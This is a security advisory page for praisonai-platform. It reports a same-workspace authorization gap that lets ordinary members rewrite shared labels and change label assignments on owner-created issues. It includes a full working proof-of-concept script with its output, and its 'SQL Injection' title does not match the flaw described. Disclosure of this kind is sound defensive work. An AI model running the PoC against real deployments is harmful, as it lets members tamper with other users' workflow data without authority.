GHSA-xxgv-vgvj-qvxh: SQL Injection

Published Oct 8, 2026
·
Updated

Platform members can rewrite shared labels and owner issue labels without owner/admin authorization

Summary

praisonai-platform lets an ordinary workspace member rename and recolor shared labels and add/remove labels on an owner-created issue even though direct label deletion is restricted to workspace admin/owner authority in current releases.

Technical Details

The affected boundary is the difference between ordinary workspace membership and authority to mutate shared workspace triage taxonomy or owner-created issue workflow state. src/praisonai-platform/praisonaiplatform/api/routes/labels.py defines PATCH /workspaces/{workspaceid}/labels/{labelid} with user: AuthIdentity = Depends(requireworkspacemember). The route verifies the label belongs to the URL workspace, then calls LabelService.update(labelid, body.name, body.color), which writes the shared label name/color.

The paired label delete route shows a stricter intended boundary. DELETE /workspaces/{workspaceid}/labels/{labelid} also verifies the label belongs to the URL workspace, but then calls requiredeletepermission(workspaceid, user, session) before deleting. requiredeletepermission() allows workspace admins/owners, or a supplied resourceownerid; because labels have no per-label owner passed to the helper, direct label deletion is effectively admin/owner-only. The local controls confirm that a normal member receives 403 for direct label deletion in current head, 0.1.6, and 0.1.8.

The issue-label link routes have the same under-authorized write boundary. POST /workspaces/{workspaceid}/issues/{issueid}/labels/{labelid} and DELETE /workspaces/{workspaceid}/issues/{issueid}/labels/{labelid} require only workspace membership after confirming the issue and label belong to the URL workspace. They then call LabelService.addtoissue(issueid, labelid) or LabelService.removefromissue(issueid, labelid) without checking whether the caller owns the issue or has workspace admin/owner authority.

As a result, a member who cannot delete a label can still rename/recolor that shared label, remove it from an owner-created issue, and add it back. The non-member controls return 403, so this is not the older cross-workspace IDOR; it is a same-workspace owner/admin authorization gap that remains after workspace scoping checks.

PoV

the PoV starts the PraisonAI Platform FastAPI app in process with an in-memory SQLite database. It creates an owner, a member, and an outsider; the owner creates a workspace, adds the member as a plain member, creates an owner issue, creates a label, and attaches the label to that issue. The member then attempts the direct label delete control and the three label write actions.

Essential excerpt:

python memberdeletelabel = await client.delete( f"/api/v1/workspaces/{workspaceid}/labels/{memberdeletecontrollabelid}", headers=memberheaders, )

memberpatchlabel = await client.patch( f"/api/v1/workspaces/{workspaceid}/labels/{labelid}", json={"name": "Member-controlled triage", "color": "#000000"}, headers=memberheaders, )

memberremovefromownerissue = await client.delete( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/labels/{labelid}", headers=memberheaders, )

memberaddbacktoownerissue = await client.post( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/labels/{labelid}", headers=memberheaders, )

outsiderpatchlabel = await client.patch( f"/api/v1/workspaces/{workspaceid}/labels/{labelid}", json={"name": "Outsider attempt"}, headers=outsiderheaders, )

The full PoV script is included in the appendix below.

PoC

Current head tested:

text 846568c7a5d8ce9e71e56e4c213f027c04909753 2026-06-17 20:13:04 +0100 chore: clean up redundant 'persist-credentials' entries in GitHub workflows

Run against a local checkout of current head:

sh uv run --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python povplatformlabelauthorizationbypass.py --repo ./PraisonAI --json

Decisive current-head output:

json { "source": "git:846568c7a5d8ce9e71e56e4c213f027c04909753", "vulnerable": true, "checks": { "initialownerissuelabels": [ "Owner triage" ], "memberdirectlabeldelete": 403, "memberpatchlabel": 200, "ownerobservedlabelnameaftermemberpatch": "Member-controlled triage", "ownerobservedlabelcoloraftermemberpatch": "#000000", "memberremovelabelfromownerissue": 204, "ownerissuelabelsaftermemberremove": [], "memberaddlabeltoownerissue": 204, "ownerissuelabelsaftermemberadd": [ "Member-controlled triage" ], "nonmemberpatchlabel": 403, "nonmemberaddlabeltoissue": 403, "ownerdeletelabel": 204 } }

Run against the latest PyPI package observed during testing:

sh uv run --with 'praisonai-platform==0.1.8' --with fastapi --with httpx --with sqlalchemy --with greenlet --with aiosqlite --with 'pydantic[email]>=2.10.0' --with PyJWT --with 'passlib[bcrypt]>=1.7.4' --with 'bcrypt==4.0.1' python povplatformlabelauthorizationbypass.py --json

Decisive latest-PyPI output:

json { "source": "pypi:praisonai-platform==0.1.8", "vulnerable": true, "checks": { "memberdirectlabeldelete": 403, "memberpatchlabel": 200, "memberremovelabelfromownerissue": 204, "memberaddlabeltoownerissue": 204, "nonmemberpatchlabel": 403, "nonmemberaddlabeltoissue": 403 } }

Version sweep excerpt:

text current git:846568c7a5d8ce9e71e56e4c213f027c04909753: vulnerable=true delete=403 patch=200 remove=204 add=204 pypi:praisonai-platform==0.1.8: vulnerable=true delete=403 patch=200 remove=204 add=204 pypi:praisonai-platform==0.1.6: vulnerable=true delete=403 patch=200 remove=204 add=204 pypi:praisonai-platform==0.1.4: vulnerable=false delete=204 patch=200 remove=204 add=204

The 0.1.4 result is not a clean negative. It means direct member label deletion still returned 204 in that sampled version, so the narrower post-delete-guard bypass is masked by broader older delete behavior.

Impact

An ordinary workspace member can alter shared triage labels and owner issue label assignments without admin/owner authority. In a shared PraisonAI Platform workspace, that lets a member silently change label meaning, remove labels from owner-created issues so they disappear from label-based filters or boards, and re-add arbitrary labels to owner-created issues. The impact is integrity loss over workflow and triage state rather than code execution or data exfiltration.

Suggested severity: Medium. Suggested CVSS v3.1: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N (6.5). Suggested CWEs: CWE-862 Missing Authorization and CWE-863 Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality or availability impact.

Suggested Fix

Define explicit write authorization for labels and issue-label links instead of treating all workspace members as label administrators. A minimal fix is to require workspace admin/owner authority for PATCH /labels/{labelid}, POST /issues/{issueid}/labels/{labelid}, and DELETE /issues/{issueid}/labels/{labelid} when the target issue or shared label was not created by the caller.

If labels are intended to be collaboratively editable by all members, make that policy explicit and align delete/update/link behavior. Otherwise, mirror the direct label delete route's admin/owner boundary for label taxonomy updates and require issue owner/admin authority before mutating labels on an existing issue.

Add regression tests for these cases: a member cannot rename/recolor a shared label if label management is admin/owner-only; a member cannot remove or add labels on an owner-created issue; a workspace admin/owner can still manage labels; a non-member still receives 403; and direct label deletion remains protected.

Affected Package/Versions

Affected package: pypi:praisonai-platform.

Latest PyPI version observed during testing: 0.1.8. Current head 846568c7a5d8ce9e71e56e4c213f027c04909753 is affected.

The post-delete-guard label write authorization gap is confirmed in sampled versions 0.1.6, 0.1.8, and current head. In sampled 0.1.4, direct member label deletion already returned 204, so the narrower post-delete-guard bypass is masked by broader older same-workspace delete behavior.

Suggested affected range for the post-delete-guard bypass: pypi:praisonai-platform >=0.1.6, <=0.1.8. No fixed version or fix commit was observed.

Advisory History

Visible PraisonAI Platform advisories include older label endpoint and same-workspace DELETE authorization reports. The closest overlap is the prior DELETE advisory; this report should be read as a remaining sibling/incomplete-fix style authorization gap where direct label deletion is now denied but label PATCH and issue-label link writes still succeed.

GHSA-5jx9-w35f-vp65 / CVE-2026-47414, "praisonai-platform: Label endpoints' unchecked labelid/issueid enable cross-workspace label IDOR (edit, delete, link)", covers cross-workspace label operations in <=0.1.2 and lists 0.1.4 as patched. This report is distinct because the PoV uses a single workspace, current head verifies the issue and label belong to that workspace, non-members receive 403, and the unauthorized actor is a legitimate same-workspace member crossing the owner/admin write boundary.

GHSA-rh39-9c67-59mh, "Missing ownership check on DELETE endpoints allows members to delete others' content in Platform API", covers same-workspace member DELETE access to projects, agents, issues, labels, issue dependencies, and issue-label attachments. This report overlaps that advisory on the issue-label attachment removal symptom, but the current PoV also shows the direct label DELETE path now returns 403 in current head, 0.1.6, and 0.1.8 while the sibling label PATCH and issue-label add/remove routes still return 200/204. If maintainers track the remaining issue-label DELETE behavior under GHSA-rh39-9c67-59mh, the new material here is the surviving shared-label PATCH authorization gap plus the post-delete-guard add/remove behavior demonstrated against current head and latest PyPI.

GHSA-2fjj-qqg8-fg7x, "Authorization Bypass Through User-Controlled Key in praisonai-platform", covers issue create/update accepting a body-supplied foreign projectid and polluting another workspace's project statistics. This report is distinct because it does not use cross-workspace body references or project statistics; it uses a legitimate member inside the same workspace to mutate shared label taxonomy and owner issue-label state.

GHSA-gv23-xrm3-8c62 covers older systemic cross-workspace object lookup and privilege escalation behavior. This report does not require foreign workspace ids or member-role escalation.

GHSA-xwq8-frcg-77q8 covers older issue endpoint cross-workspace IDOR. This report targets label taxonomy and issue-label association write authorization.

References

- https://github.com/advisories/GHSA-5jx9-w35f-vp65 - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x - https://github.com/advisories/GHSA-gv23-xrm3-8c62 - https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8 - https://cwe.mitre.org/data/definitions/862.html - https://cwe.mitre.org/data/definitions/863.html

Appendix A - Full PoV Script

Save this as povplatformlabelauthorizationbypass.py before running the PoC commands above.

python #!/usr/bin/env python3 """PoV for PraisonAI Platform label authorization gaps."""

from future import annotations

import argparse import asyncio import json import os import subprocess import sys from pathlib import Path from typing import Any

def loadlocalsource(repo: Path | None) -> None: if repo is None: return platformroot = repo / "src" / "praisonai-platform" agentsroot = repo / "src" / "praisonai-agents" for path in (str(platformroot), str(agentsroot)): if path not in sys.path: sys.path.insert(0, path)

async def register(client: Any, email: str, name: str) -> tuple[str, str]: response = await client.post( "/api/v1/auth/register", json={"email": email, "password": "Password1!", "name": name}, ) if response.statuscode >= 400: raise RuntimeError(f"register failed for {email}: {response.statuscode} {response.text}") body = response.json() return body["token"], body["user"]["id"]

async def createissue( client: Any, workspaceid: str, headers: dict[str, str], title: str, ) -> str: response = await client.post( f"/api/v1/workspaces/{workspaceid}/issues/", json={"title": title, "priority": "high"}, headers=headers, ) response.raiseforstatus() return response.json()["id"]

async def issuelabelnames( client: Any, workspaceid: str, issueid: str, headers: dict[str, str], ) -> list[str]: response = await client.get( f"/api/v1/workspaces/{workspaceid}/issues/{issueid}/labels", headers=headers, ) response.raiseforstatus() return [label["name"] for label in response.json()]

async def run(repo: Path | None) -> dict[str, Any]: os.environ["PLATFORMJWTSECRET"] = "local-poc-secret-32-bytes-minimum" loadlocalsource(repo)

from httpx import ASGITransport, AsyncClient from sqlalchemy.ext.asyncio import createasyncengine

from praisonaiplatform.api.app import createapp from praisonaiplatform.db import base as basemod from praisonaiplatform.db.base import Base, resetengine

await resetengine() engine = createasyncengine( "sqlite+aiosqlite:///:memory:", echo=False, connectargs={"checksamethread": False}, ) basemod.engine = engine basemod.sessionfactory = None async with engine.begin() as conn: await conn.runsync(Base.metadata.createall)

app = createapp() transport = ASGITransport(app=app) async with AsyncClient(transport=transport, baseurl="http://local-poc") as client: ownertoken, ownerid = await register(client, "owner@example.com", "Owner") membertoken, memberid = await register(client, "member@example.com", "Member") outsidertoken, outsiderid = await register( client, "outsider@example.com", "Outsider" )

ownerheaders = {"Authorization": f"Bearer {ownertoken}"} memberheaders = {"Authorization": f"Bearer {membertoken}"} outsiderheaders = {"Authorization": f"Bearer {outsidertoken}"}

wsresp = await client.post( "/api/v1/workspaces/", json={"name": "Shared Workspace", "slug": "shared-workspace"}, headers=ownerheaders, ) wsresp.raiseforstatus() workspaceid = wsresp.json()["id"]

addmember = await client.post( f"/api/v1/workspaces/{workspaceid}/members", json={"userid": memberid, "role": "member"}, headers=ownerheaders, ) addmember.raiseforstatus()

ownerissueid = await createissue( client, workspaceid, ownerheaders, "Owner issue" )

labelresp = await client.post( f"/api/v1/workspaces/{workspaceid}/labels", json={"name": "Owner triage", "color": "#ff0000"}, headers=ownerheaders, ) labelresp.raiseforstatus() labelid = labelresp.json()["id"]

ownerdeletecontrollabelresp = await client.post( f"/api/v1/workspaces/{workspaceid}/labels", json={"name": "Owner delete control", "color": "#00ff00"}, headers=ownerheaders, ) ownerdeletecontrollabelresp.raiseforstatus() ownerdeletecontrollabelid = ownerdeletecontrollabelresp.json()["id"]

memberdeletecontrollabelresp = await client.post( f"/api/v1/workspaces/{workspaceid}/labels", json={"name": "Member delete control", "color": "#0000ff"}, headers=ownerheaders, ) memberdeletecontrollabelresp.raiseforstatus() memberdeletecontrollabelid = memberdeletecontrollabelresp.json()["id"]

ownerattach = await client.post( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/labels/{labelid}", headers=ownerheaders, ) ownerattach.raiseforstatus() initialissuelabels = await issuelabelnames( client, workspaceid, ownerissueid, ownerheaders )

memberdeletelabel = await client.delete( f"/api/v1/workspaces/{workspaceid}/labels/{memberdeletecontrollabelid}", headers=memberheaders, )

memberpatchlabel = await client.patch( f"/api/v1/workspaces/{workspaceid}/labels/{labelid}", json={"name": "Member-controlled triage", "color": "#000000"}, headers=memberheaders, ) ownerlabellistafterpatch = await client.get( f"/api/v1/workspaces/{workspaceid}/labels", headers=ownerheaders, )

memberremovefromownerissue = await client.delete( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/labels/{labelid}", headers=memberheaders, ) labelsaftermemberremove = await issuelabelnames( client, workspaceid, ownerissueid, ownerheaders )

memberaddbacktoownerissue = await client.post( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/labels/{labelid}", headers=memberheaders, ) labelsaftermemberadd = await issuelabelnames( client, workspaceid, ownerissueid, ownerheaders )

outsiderpatchlabel = await client.patch( f"/api/v1/workspaces/{workspaceid}/labels/{labelid}", json={"name": "Outsider attempt"}, headers=outsiderheaders, ) outsideraddtoissue = await client.post( f"/api/v1/workspaces/{workspaceid}/issues/{ownerissueid}/labels/{labelid}", headers=outsiderheaders, )

ownerdeletelabel = await client.delete( f"/api/v1/workspaces/{workspaceid}/labels/{ownerdeletecontrollabelid}", headers=ownerheaders, )

await engine.dispose() basemod.engine = None basemod.sessionfactory = None

ownerlabels = ( ownerlabellistafterpatch.json() if ownerlabellistafterpatch.statuscode == 200 else [] ) ownerobservedlabel = ownerlabels[0] if ownerlabels else {} checks = { "initialownerissuelabels": initialissuelabels, "memberdirectlabeldelete": memberdeletelabel.statuscode, "memberpatchlabel": memberpatchlabel.statuscode, "ownerobservedlabelnameaftermemberpatch": ownerobservedlabel.get("name"), "ownerobservedlabelcoloraftermemberpatch": ownerobservedlabel.get("color"), "memberremovelabelfromownerissue": memberremovefromownerissue.statuscode, "ownerissuelabelsaftermemberremove": labelsaftermemberremove, "memberaddlabeltoownerissue": memberaddbacktoownerissue.statuscode, "ownerissuelabelsaftermemberadd": labelsaftermemberadd, "nonmemberpatchlabel": outsiderpatchlabel.statuscode, "nonmemberaddlabeltoissue": outsideraddtoissue.statuscode, "ownerdeletelabel": ownerdeletelabel.statuscode, } vulnerable = ( checks["initialownerissuelabels"] == ["Owner triage"] and checks["memberdirectlabeldelete"] == 403 and checks["memberpatchlabel"] == 200 and checks["ownerobservedlabelnameaftermemberpatch"] == "Member-controlled triage" and checks["ownerobservedlabelcoloraftermemberpatch"] == "#000000" and checks["memberremovelabelfromownerissue"] == 204 and checks["ownerissuelabelsaftermemberremove"] == [] and checks["memberaddlabeltoownerissue"] == 204 and checks["ownerissuelabelsaftermemberadd"] == ["Member-controlled triage"] and checks["nonmemberpatchlabel"] == 403 and checks["nonmemberaddlabeltoissue"] == 403 and checks["ownerdeletelabel"] == 204 ) return { "package": "praisonai-platform", "source": sourceid(repo), "workspacerole": "member", "summary": ( "A workspace member can rewrite shared label taxonomy and add/remove labels " "on an owner-created issue even though direct label deletion is owner/admin-only." ), "issueid": ownerissueid, "labelid": labelid, "checks": checks, "vulnerable": vulnerable, }

def sourceid(repo: Path | None) -> str: if repo is None: import importlib.metadata

return f"pypi:praisonai-platform=={importlib.metadata.version('praisonai-platform')}" rev = subprocess.checkoutput( ["git", "-C", str(repo), "rev-parse", "HEAD"], text=True, ).strip() return f"git:{rev}"

def main() -> int: parser = argparse.ArgumentParser() parser.addargument("--repo", type=Path) parser.addargument("--json", action="storetrue") args = parser.parseargs()

result = asyncio.run(run(args.repo.resolve() if args.repo else None)) if args.json: print(json.dumps(result, indent=2, sortkeys=True)) else: for key, value in result["checks"].items(): print(f"{key}: {value}") print(f"vulnerable: {result['vulnerable']}") return 0 if result["vulnerable"] else 1

if name == "main": raise SystemExit(main())

Affected Software

1 affected componentFixes available
pip/praisonai-platform<=0.1.8
0.1.9

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/praisonai-platform to a version that resolves this vulnerability.

    Fixed in 0.1.9
  2. Compensating control

    Require workspace admin/owner authorization for PATCH /workspaces/{workspace_id}/labels/{label_id}, POST /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id}, and DELETE /workspaces/{workspace_id}/issues/{issue_id}/labels/{label_id} when the shared label or target issue was not created by the caller; otherwise mirror the direct label-delete route's admin/owner boundary.

Event History

Oct 8, 2026
Advisory Published
via GitHub·09:58 PM
Data Sourced
via GitHub·09:58 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What level of access does an attacker need?

The attacker needs ordinary authenticated membership in the target workspace. They do not need workspace owner or administrator authority to update shared label names or colors, or to add or remove labels on an owner-created issue.

2

Does the existing label-delete restriction prevent this issue?

No. The delete endpoint performs an additional delete-permission check, but the label update endpoint requires only workspace membership. Restricting deletion therefore does not stop a member from modifying the name or color of an existing shared label.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203